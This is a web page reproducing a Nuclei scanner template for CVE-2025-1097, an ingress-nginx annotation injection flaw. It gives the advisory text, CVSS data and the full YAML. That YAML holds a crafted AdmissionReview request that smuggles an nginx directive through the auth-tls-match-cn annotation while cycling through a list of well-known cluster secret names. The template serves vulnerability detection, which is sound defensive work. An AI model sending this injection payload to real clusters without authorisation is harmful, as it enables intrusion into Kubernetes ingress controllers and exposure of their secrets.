Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation

ID: CVE-2025-1097

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

Description

A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the auth-tls-match-cn Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

YAML Source

id: CVE-2025-1097

info:
  name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  reference:
    - https://github.com/kubernetes/kubernetes/issues/131007
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1097
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-1097
    cwe-id: CWE-20
    epss-score: 0.00164
    epss-percentile: 0.34177
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"{{string}}","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"resource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},"namespace":"default","operation":"CREATE","userInfo":{"username":"admin"},"object":{"apiVersion":"networking.k8s.io/v1","kind":"Ingress","metadata":{"name":"{{string}}-auth-tls","namespace":"default","annotations":{"nginx.ingress.kubernetes.io/auth-tls-match-cn":"CN=abc #(\n){}\n }}\nssl_engine /aaa;\n#","nginx.ingress.kubernetes.io/auth-tls-secret":"{{secrets}}"}},"spec":{"ingressClassName":"nginx","rules":[{"host":"test.local","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"dummy","port":{"number":80}}}}]}}]}}}}

    payloads:
      secrets:
        - kube-system/konnectivity-certs
        - kube-system/azure-wi-webhook-server-cert
        - kube-system/aws-load-balancer-webhook-tls
        - kube-system/hubble-server-certs
        - kube-system/cilium-ca
        - calico-system/node-certs
        - cert-manager/cert-manager-webhook-ca
        - linkerd/linkerd-policy-validator-k8s-tls
        - linkerd/linkerd-proxy-injector-k8s-tls
        - linkerd/linkerd-sp-validator-k8s-tls

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'could not load the shared library'
        condition: and
# digest: 4b0a004830460221008cdbaaebc4be10c198dccbc08773de878931ae5692545a6d13513d3641886e3a022100f3f2b633a3f272750d611a43643fe642b315ae1f64213b4b4ff000adf8f974b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-1097.yaml"

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